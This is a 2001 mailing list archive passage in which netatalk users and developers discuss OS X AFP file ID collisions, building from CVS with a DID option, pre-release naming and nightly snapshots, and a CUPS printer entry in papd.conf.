	Thu, 12 Jul 2001 21:29:54 -0500 (CDT)
Received: from htc.net by as200.trb.htc.net (8.8.8/1.1.22.3/31Mar00-1102PM)
	id VAA0000002630; Thu, 12 Jul 2001 21:29:44 -0500 (CDT)
Message-ID: <3B4E5D18.B32299FA@htc.net>
Date: Thu, 12 Jul 2001 21:29:45 -0500
From: "Troy R. Baldwin" <tbaldwin@htc.net>
Reply-To: tbaldwin@htc.net
X-Mailer: Mozilla 4.72 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Joe Clarke <marcus@marcuscom.com>
CC: roger.day@globalgraphics.com, Jeff <jeff@univrel.pr.uconn.edu>,
        netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
References: <20010711115441.I20018-100000@shumai.marcuscom.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

What if one does not know how to use CVS? It sure would be nice if there were a regular
beta release or something we can easily compile and use.

Thanks,
--TRBo

Joe Clarke wrote:

> I submitted a patch to netatalk that "fixes" the AFP problem with opening
> and copying files in OS X.  The reason I say "fixes" is that it relies on
> the old DID algorithm.  I have not tried the mtab stuff yet, so I don't
> know if that will work.
>
> Anyway, if you want OS X support with netatalk, download the CVS version
> from http://sourceforge.net/cvs/?group_id=8642, and configure with the
> added option --with-did=last.  You should be able to use netatalk with OS
> X after that.
>
> The big goal I think is to find the right way to do DID calculations so
> that collisions do not exist and DIDs are persistent.  If Apple wants to
> contribute, that would be great.  I'm not sure if anyone else is currently
> working on the DID "Rossetta Stone."
>
> I'm currently working on porting AFP 3.0 to netatalk.  I have most of the
> volume and directory code done.  I'm not sure how well this will work, but
> it should provide for longer filename support.
>
> Joe Clarke
>
> On Wed, 11 Jul 2001 roger.day@globalgraphics.com wrote:
>
> > We tried the 1.5pre6, which is why I was trying that wacky version there.
> >
> > The problem with pre6 was that it caused NFS to stop working - authentication
> > stopped working. Reverting to a previous release fixed this.
> >
> > I have a proper description of the problem:-
> >
> > <GMT17-May-2001 23:49:56GMT> B.S.:
> > Problem is that netatlk is not making their fileIDs unique and the AppleShare
> > client uses those ids for its hash entries. Thats why we are hitting the assert.
> > I will file a bug against netatalk and also change the AppleShare client so that
> > it will not assert any more. Although anytime someone tries to do a ResolveID
> > (not too common, I think), it will get back some indeterminate file and that
> > will be bad.
> >
> > <GMT23-May-2001 21:31:24GMT> B.S.:
> > Fix is too catch this case and not assert, but to fail the create call with some
> > error. Real fix is to get an updated netatalk installed on the server. I am
> > working on getting a fixed netatalk submitted.
> >
> > >from here
> >
> > http://www.publicsource.apple.com/bugs/X%20Server/AppleShare%20X%20Client/2666595.html
> >
> > I can't see any bug filed anywhere on the netatalk site - that's the first place
> >  I looked.
> >
> > Would this be fixed in pre7?
> >
> > Another question: why so many pre's?
> >
> >
> >
> > At 11/07/2001 16:31:48, Jeff <jeff@univrel.pr.uconn.edu> wrote:
> > #  roger.day@globalgraphics.com wrote:
> > #  > #  Which version of netatalk are you using?
> > #  >
> > #  > The tar file is called pre-asun2.1.4-37b.tar
> > #  >
> > #  > it decompresses into a directory called
> > #  >
> > #  > netatalk-1.4b2+asun2.1.4
> > #  >
> > #  > Is there a deterministic way of finding the version?
> > #
> > #  That's version 1.4b2+asun2.1.4. The series on sourceforge is currently
> > #  at 1.5pre6.
> > #
> > #  > #  > This is quite important to us as we're relying on this to try and get
> > a
> > #  > product
> > #  > #  > out shortly.
> > #  > #  >
> > #  > #  > We would also like to know -who- is supporting netatalk these days.
> > I've
> > #  > heard a
> > #  > #  > rumour that Apple are looking for a netatalk developer.
> > #  > #
> > #  > #  Interesting. Currently most support seems to be via the admin and
> > #  > #  developer lists.
> > #  >
> > #  > This was from someone on the darwin-developers list.
> > #  >
> > #  > Also the lack of archive here
> > http://netatalk.sourceforge.net/mailing_lists.php
> > #  > for 2000/2001 does give an appearance of cobwebness to the page.
> > #
> > #  Sorry about that. The netatalk development is in full swing. Check out
> > #  http://sourceforge.net/projects/netatalk/ for a little more information
> > #  on that.
> > #
> > #  I'd suggest trying 1.5pre6 or the upcoming 1.5pre7, as it probably
> > #  resolves that issue.
> > #
> > #  Jeff
> > #
> > Roger
> >
> >
> >
> > _______________________________________________
> > Netatalk-devel mailing list
> > Netatalk-devel@lists.sourceforge.net
> > http://lists.sourceforge.net/lists/listinfo/netatalk-devel
> >
> >


From netatalk.administrators-errors@umich.edu  Thu Jul 12 22:34:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA20800
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Jul 2001 22:34:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id WAA13896
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Jul 2001 22:34:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA13886
	for netatalk.administrators-members@umich.edu; Thu, 12 Jul 2001 22:34:27 -0400 (EDT)
Received: from shumai.marcuscom.com (rdu26-228-058.nc.rr.com [66.26.228.58])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA13853
	for <netatalk-admins@umich.edu>; Thu, 12 Jul 2001 22:34:26 -0400 (EDT)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.3/8.11.3) with ESMTP id f6D2X7u23411;
	Thu, 12 Jul 2001 22:33:07 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Thu, 12 Jul 2001 22:33:07 -0400 (EDT)
From: Joe Clarke <marcus@marcuscom.com>
To: "Troy R. Baldwin" <tbaldwin@htc.net>
cc: <roger.day@globalgraphics.com>, Jeff <jeff@univrel.pr.uconn.edu>,
        <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
In-Reply-To: <3B4E5D18.B32299FA@htc.net>
Message-ID: <20010712223047.O22832-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

The instructions for getting CVS to work are quite clear on the CVS page.

http://sourceforge.net/cvs/?group_id=8642

Once you download the source, you run ./autogen.sh from the source
directory, then configure as normal.  Perhaps a nightly CVS snapshot build
wouldn't be a bad idea.  I'd be happy to set this up unless there are any
objections.

Joe Clarke

On Thu, 12 Jul 2001, Troy R. Baldwin wrote:

> What if one does not know how to use CVS? It sure would be nice if there were a regular
> beta release or something we can easily compile and use.
>
> Thanks,
> --TRBo
>
> Joe Clarke wrote:
>
> > I submitted a patch to netatalk that "fixes" the AFP problem with opening
> > and copying files in OS X.  The reason I say "fixes" is that it relies on
> > the old DID algorithm.  I have not tried the mtab stuff yet, so I don't
> > know if that will work.
> >
> > Anyway, if you want OS X support with netatalk, download the CVS version
> > from http://sourceforge.net/cvs/?group_id=8642, and configure with the
> > added option --with-did=last.  You should be able to use netatalk with OS
> > X after that.
> >
> > The big goal I think is to find the right way to do DID calculations so
> > that collisions do not exist and DIDs are persistent.  If Apple wants to
> > contribute, that would be great.  I'm not sure if anyone else is currently
> > working on the DID "Rossetta Stone."
> >
> > I'm currently working on porting AFP 3.0 to netatalk.  I have most of the
> > volume and directory code done.  I'm not sure how well this will work, but
> > it should provide for longer filename support.
> >
> > Joe Clarke
> >
> > On Wed, 11 Jul 2001 roger.day@globalgraphics.com wrote:
> >
> > > We tried the 1.5pre6, which is why I was trying that wacky version there.
> > >
> > > The problem with pre6 was that it caused NFS to stop working - authentication
> > > stopped working. Reverting to a previous release fixed this.
> > >
> > > I have a proper description of the problem:-
> > >
> > > <GMT17-May-2001 23:49:56GMT> B.S.:
> > > Problem is that netatlk is not making their fileIDs unique and the AppleShare
> > > client uses those ids for its hash entries. Thats why we are hitting the assert.
> > > I will file a bug against netatalk and also change the AppleShare client so that
> > > it will not assert any more. Although anytime someone tries to do a ResolveID
> > > (not too common, I think), it will get back some indeterminate file and that
> > > will be bad.
> > >
> > > <GMT23-May-2001 21:31:24GMT> B.S.:
> > > Fix is too catch this case and not assert, but to fail the create call with some
> > > error. Real fix is to get an updated netatalk installed on the server. I am
> > > working on getting a fixed netatalk submitted.
> > >
> > > >from here
> > >
> > > http://www.publicsource.apple.com/bugs/X%20Server/AppleShare%20X%20Client/2666595.html
> > >
> > > I can't see any bug filed anywhere on the netatalk site - that's the first place
> > >  I looked.
> > >
> > > Would this be fixed in pre7?
> > >
> > > Another question: why so many pre's?
> > >
> > >
> > >
> > > At 11/07/2001 16:31:48, Jeff <jeff@univrel.pr.uconn.edu> wrote:
> > > #  roger.day@globalgraphics.com wrote:
> > > #  > #  Which version of netatalk are you using?
> > > #  >
> > > #  > The tar file is called pre-asun2.1.4-37b.tar
> > > #  >
> > > #  > it decompresses into a directory called
> > > #  >
> > > #  > netatalk-1.4b2+asun2.1.4
> > > #  >
> > > #  > Is there a deterministic way of finding the version?
> > > #
> > > #  That's version 1.4b2+asun2.1.4. The series on sourceforge is currently
> > > #  at 1.5pre6.
> > > #
> > > #  > #  > This is quite important to us as we're relying on this to try and get
> > > a
> > > #  > product
> > > #  > #  > out shortly.
> > > #  > #  >
> > > #  > #  > We would also like to know -who- is supporting netatalk these days.
> > > I've
> > > #  > heard a
> > > #  > #  > rumour that Apple are looking for a netatalk developer.
> > > #  > #
> > > #  > #  Interesting. Currently most support seems to be via the admin and
> > > #  > #  developer lists.
> > > #  >
> > > #  > This was from someone on the darwin-developers list.
> > > #  >
> > > #  > Also the lack of archive here
> > > http://netatalk.sourceforge.net/mailing_lists.php
> > > #  > for 2000/2001 does give an appearance of cobwebness to the page.
> > > #
> > > #  Sorry about that. The netatalk development is in full swing. Check out
> > > #  http://sourceforge.net/projects/netatalk/ for a little more information
> > > #  on that.
> > > #
> > > #  I'd suggest trying 1.5pre6 or the upcoming 1.5pre7, as it probably
> > > #  resolves that issue.
> > > #
> > > #  Jeff
> > > #
> > > Roger
> > >
> > >
> > >
> > > _______________________________________________
> > > Netatalk-devel mailing list
> > > Netatalk-devel@lists.sourceforge.net
> > > http://lists.sourceforge.net/lists/listinfo/netatalk-devel
> > >
> > >
>
>
>


From netatalk.administrators-errors@umich.edu  Fri Jul 13 03:45:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA28518
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 13 Jul 2001 03:45:14 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA09501
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 13 Jul 2001 03:45:14 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA09489
	for netatalk.administrators-members@umich.edu; Fri, 13 Jul 2001 03:45:13 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id DAA09460
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 03:45:12 -0400 (EDT)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 5976 invoked from network); 13 Jul 2001 07:40:06 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-33.tower-1.london-2.starlabs.net with SMTP; 13 Jul 2001 07:40:06 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id IAA20206; Fri, 13 Jul 2001 08:45:10 +0100 (BST)
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id IAA22138; Fri, 13 Jul 2001 08:45:09 +0100 (BST)
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256A88.002A94AF ; Fri, 13 Jul 2001 08:45:05 +0100
X-Lotus-FromDomain: HARLEQUIN
To: Joe Clarke <marcus@marcuscom.com>
cc: roger.day@globalgraphics.com, Jeff <jeff@univrel.pr.uconn.edu>,
        netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net,
        "Troy R. Baldwin" <tbaldwin@htc.net>
Message-ID: <80256A88.002A9475.00@notescam.cam.harlequin.co.uk>
Date: Fri, 13 Jul 2001 08:45:04 +0100
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

I'm quite happy with CVS. It's just that elusive confidence factor. Why can't
they commit? was the comment I got when my boss saw the list pre-releases on the
website.

In objective quality terms there might be no difference btn a pre and a beta,
but we're talking irrational feel-goodness here:-)

At 13/07/2001 03:33:07, Joe Clarke <marcus@marcuscom.com> wrote:
#  The instructions for getting CVS to work are quite clear on the CVS page.
#
#  http://sourceforge.net/cvs/?group_id=8642
#
#  Once you download the source, you run ./autogen.sh from the source
#  directory, then configure as normal.  Perhaps a nightly CVS snapshot build
#  wouldn't be a bad idea.  I'd be happy to set this up unless there are any
#  objections.
#
#  Joe Clarke
#
#  On Thu, 12 Jul 2001, Troy R. Baldwin wrote:
#
#  > What if one does not know how to use CVS? It sure would be nice if there
were a
#  regular
#  > beta release or something we can easily compile and use.
#  >
#  > Thanks,
#  > --TRBo
#  >
#  > Joe Clarke wrote:
#  >
#  > > I submitted a patch to netatalk that "fixes" the AFP problem with opening
#  > > and copying files in OS X.  The reason I say "fixes" is that it relies on
#  > > the old DID algorithm.  I have not tried the mtab stuff yet, so I don't
#  > > know if that will work.
#  > >
#  > > Anyway, if you want OS X support with netatalk, download the CVS version
#  > > from http://sourceforge.net/cvs/?group_id=8642, and configure with the
#  > > added option --with-did=last.  You should be able to use netatalk with OS
#  > > X after that.
#  > >
#  > > The big goal I think is to find the right way to do DID calculations so
#  > > that collisions do not exist and DIDs are persistent.  If Apple wants to
#  > > contribute, that would be great.  I'm not sure if anyone else is
currently
#  > > working on the DID "Rossetta Stone."
#  > >
#  > > I'm currently working on porting AFP 3.0 to netatalk.  I have most of the
#  > > volume and directory code done.  I'm not sure how well this will work,
but
#  > > it should provide for longer filename support.
#  > >
#  > > Joe Clarke
#  > >
#  > > On Wed, 11 Jul 2001 roger.day@globalgraphics.com wrote:
#  > >
#  > > > We tried the 1.5pre6, which is why I was trying that wacky version
there.
#  > > >
#  > > > The problem with pre6 was that it caused NFS to stop working -
authentication
#  > > > stopped working. Reverting to a previous release fixed this.
#  > > >
#  > > > I have a proper description of the problem:-
#  > > >
#  > > > <GMT17-May-2001 23:49:56GMT> B.S.:
#  > > > Problem is that netatlk is not making their fileIDs unique and the
AppleShare
#  > > > client uses those ids for its hash entries. Thats why we are hitting
the
#  assert.
#  > > > I will file a bug against netatalk and also change the AppleShare
client so
#  that
#  > > > it will not assert any more. Although anytime someone tries to do a
ResolveID
#  > > > (not too common, I think), it will get back some indeterminate file and
that
#  > > > will be bad.
#  > > >
#  > > > <GMT23-May-2001 21:31:24GMT> B.S.:
#  > > > Fix is too catch this case and not assert, but to fail the create call
with
#  some
#  > > > error. Real fix is to get an updated netatalk installed on the server.
I am
#  > > > working on getting a fixed netatalk submitted.
#  > > >
#  > > > >from here
#  > > >
#  > > >
#
http://www.publicsource.apple.com/bugs/X%20Server/AppleShare%20X%20Client/2666595.h

#  tml
#  > > >
#  > > > I can't see any bug filed anywhere on the netatalk site - that's the
first
#  place
#  > > >  I looked.
#  > > >
#  > > > Would this be fixed in pre7?
#  > > >
#  > > > Another question: why so many pre's?
#  > > >
#  > > >
#  > > >
#  > > > At 11/07/2001 16:31:48, Jeff <jeff@univrel.pr.uconn.edu> wrote:
#  > > > #  roger.day@globalgraphics.com wrote:
#  > > > #  > #  Which version of netatalk are you using?
#  > > > #  >
#  > > > #  > The tar file is called pre-asun2.1.4-37b.tar
#  > > > #  >
#  > > > #  > it decompresses into a directory called
#  > > > #  >
#  > > > #  > netatalk-1.4b2+asun2.1.4
#  > > > #  >
#  > > > #  > Is there a deterministic way of finding the version?
#  > > > #
#  > > > #  That's version 1.4b2+asun2.1.4. The series on sourceforge is
currently
#  > > > #  at 1.5pre6.
#  > > > #
#  > > > #  > #  > This is quite important to us as we're relying on this to try
and
#  get
#  > > > a
#  > > > #  > product
#  > > > #  > #  > out shortly.
#  > > > #  > #  >
#  > > > #  > #  > We would also like to know -who- is supporting netatalk these
days.
#  > > > I've
#  > > > #  > heard a
#  > > > #  > #  > rumour that Apple are looking for a netatalk developer.
#  > > > #  > #
#  > > > #  > #  Interesting. Currently most support seems to be via the admin
and
#  > > > #  > #  developer lists.
#  > > > #  >
#  > > > #  > This was from someone on the darwin-developers list.
#  > > > #  >
#  > > > #  > Also the lack of archive here
#  > > > http://netatalk.sourceforge.net/mailing_lists.php
#  > > > #  > for 2000/2001 does give an appearance of cobwebness to the page.
#  > > > #
#  > > > #  Sorry about that. The netatalk development is in full swing. Check
out
#  > > > #  http://sourceforge.net/projects/netatalk/ for a little more
information
#  > > > #  on that.
#  > > > #
#  > > > #  I'd suggest trying 1.5pre6 or the upcoming 1.5pre7, as it probably
#  > > > #  resolves that issue.
#  > > > #
#  > > > #  Jeff
#  > > > #
#  > > > Roger
#  > > >
#  > > >
#  > > >
#  > > > _______________________________________________
#  > > > Netatalk-devel mailing list
#  > > > Netatalk-devel@lists.sourceforge.net
#  > > > http://lists.sourceforge.net/lists/listinfo/netatalk-devel
#  > > >
#  > > >
#  >
#  >
#  >
#
Roger



From netatalk.administrators-errors@umich.edu  Fri Jul 13 08:01:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA04164
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 13 Jul 2001 08:01:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA19709
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 13 Jul 2001 08:01:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA19693
	for netatalk.administrators-members@umich.edu; Fri, 13 Jul 2001 08:01:05 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA19662
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 08:01:04 -0400 (EDT)
Received: from ns10-n67-020.de.inter.net ([213.73.67.20] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #3)
	id 15L1d1-0000uw-00
	for netatalk-admins@umich.edu; Fri, 13 Jul 2001 14:01:03 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id NAA00891
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 13:57:48 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: problem with printers.
Date: Fri, 13 Jul 2001 13:46:44 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <994982244.2382.11.camel@jigra.begeek.com>
In-Reply-To: <994982244.2382.11.camel@jigra.begeek.com>
MIME-Version: 1.0
Message-Id: <01071313574800.28261@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA04164

On Fri, 13 Jul 2001, Craig Longman wrote:

[snip]

> here is my papd.conf:
> 
> Epson 880 (Linux):epson_880@gamera:\
>   :pr=|/usr/bin/lpr -d epson_880:\
>   :op=operator:\
>   :pd=/etc/cups/ppd/epson_880.ppd:

[snip]

I'm not familiar with CUPS.
Does it supply a new `lpr' command?
If so, your print command

/usr/bin/lpr -d epson_880

may be OK.

For PLP, LPR, etc. you give the name of printer with the -P option.
Try if

/usr/bin/lpr -P epson_880

works if epson_880 is the name of your print spooler.

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Jul 13 08:40:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA05563
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 13 Jul 2001 08:40:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA18052
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 13 Jul 2001 08:40:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA18035
	for netatalk.administrators-members@umich.edu; Fri, 13 Jul 2001 08:40:38 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA18011
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 08:40:37 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f6DCef424152;
	Fri, 13 Jul 2001 08:40:41 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B4EEC6C.B184356A@univrel.pr.uconn.edu>
Date: Fri, 13 Jul 2001 08:41:16 -0400
From: Jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-20mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: roger.day@globalgraphics.com
CC: Joe Clarke <marcus@marcuscom.com>, netatalk-admins@umich.edu,
        netatalk-devel@lists.sourceforge.net,
        "Troy R. Baldwin" <tbaldwin@htc.net>
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
References: <80256A88.002A9475.00@notescam.cam.harlequin.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

roger.day@globalgraphics.com wrote:
> 
> I'm quite happy with CVS. It's just that elusive confidence factor. Why can't
> they commit? was the comment I got when my boss saw the list pre-releases on the
> website.
> 
> In objective quality terms there might be no difference btn a pre and a beta,
> but we're talking irrational feel-goodness here:-)

The 1.5 series is meant to be a solidification of Adrian's upcoming
1.4b2+asun2.1.4 version, with community patches and new build system.

The pre-releases are until 1.5 builds across all of its supported
platforms properly.

Jeff

From netatalk.administrators-errors@umich.edu  Fri Jul 13 08:52:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA06004
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 13 Jul 2001 08:52:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA17313
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 13 Jul 2001 08:52:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA17300
	for netatalk.administrators-members@umich.edu; Fri, 13 Jul 2001 08:52:18 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA17278
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 08:52:18 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f6DCqE424505;
	Fri, 13 Jul 2001 08:52:14 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B4EEF20.C9316098@univrel.pr.uconn.edu>
Date: Fri, 13 Jul 2001 08:52:48 -0400
From: Jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-20mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Joe Clarke <marcus@marcuscom.com>
CC: "Troy R. Baldwin" <tbaldwin@htc.net>, roger.day@globalgraphics.com,
        netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
References: <20010712223047.O22832-100000@shumai.marcuscom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Joe Clarke wrote:
> 
> The instructions for getting CVS to work are quite clear on the CVS page.
> 
> http://sourceforge.net/cvs/?group_id=8642
> 
> Once you download the source, you run ./autogen.sh from the source
> directory, then configure as normal.  Perhaps a nightly CVS snapshot build
> wouldn't be a bad idea.  I'd be happy to set this up unless there are any
> objections.

I believe sourceforge does this automatically already.

http://sourceforge.net/docman/display_doc.php?docid=764&group_id=1

Jeff

From netatalk.administrators-errors@umich.edu  Fri Jul 13 09:53:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA08338
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 13 Jul 2001 09:53:22 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA03813
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 13 Jul 2001 09:53:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA03796
	for netatalk.administrators-members@umich.edu; Fri, 13 Jul 2001 09:53:10 -0400 (EDT)
Received: from shumai.marcuscom.com (rdu26-228-058.nc.rr.com [66.26.228.58])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA03765
	for <netatalk-admins@umich.edu>; Fri, 13 Jul 2001 09:53:09 -0400 (EDT)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.3/8.11.3) with ESMTP id f6DDquB25030;
	Fri, 13 Jul 2001 09:52:56 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Fri, 13 Jul 2001 09:52:56 -0400 (EDT)
From: Joe Clarke <marcus@marcuscom.com>
To: Jeff <jeff@univrel.pr.uconn.edu>
cc: "Troy R. Baldwin" <tbaldwin@htc.net>, <roger.day@globalgraphics.com>,
        <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Re: Netatalk, Macos X and other issues
In-Reply-To: <3B4EEF20.C9316098@univrel.pr.uconn.edu>
Message-ID: <20010713095215.J24999-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Right, but I think this is _just_ a CVS snapshot.  What I was referring to
was a buildable snapshot where autogen.sh was already run.  This would
help the people that don't have the auto* tools installed.

Joe Clarke

On Fri, 13 Jul 2001, Jeff wrote:

> Joe Clarke wrote:
> >
> > The instructions for getting CVS to work are quite clear on the CVS page.
> >
> > http://sourceforge.net/cvs/?group_id=8642
> >
> > Once you download the source, you run ./autogen.sh from the source
> > directory, then configure as normal.  Perhaps a nightly CVS snapshot build
> > wouldn't be a bad idea.  I'd be happy to set this up unless there are any
> > objections.
>
> I believe sourceforge does this automatically already.
>
> http://sourceforge.net/docman/display_doc.php?docid=764&group_id=1
>
> Jeff
>
>


From netatalk.administrators-errors@umich.edu  Fri Jul 13 10:41:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA09866
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 13 Jul 2001 10:41:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA12824
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 13 Jul 2001 10:41:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA12818
	for netatalk.administrators-members@umich.edu; Fri, 13 Jul 2001 10:41:16 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
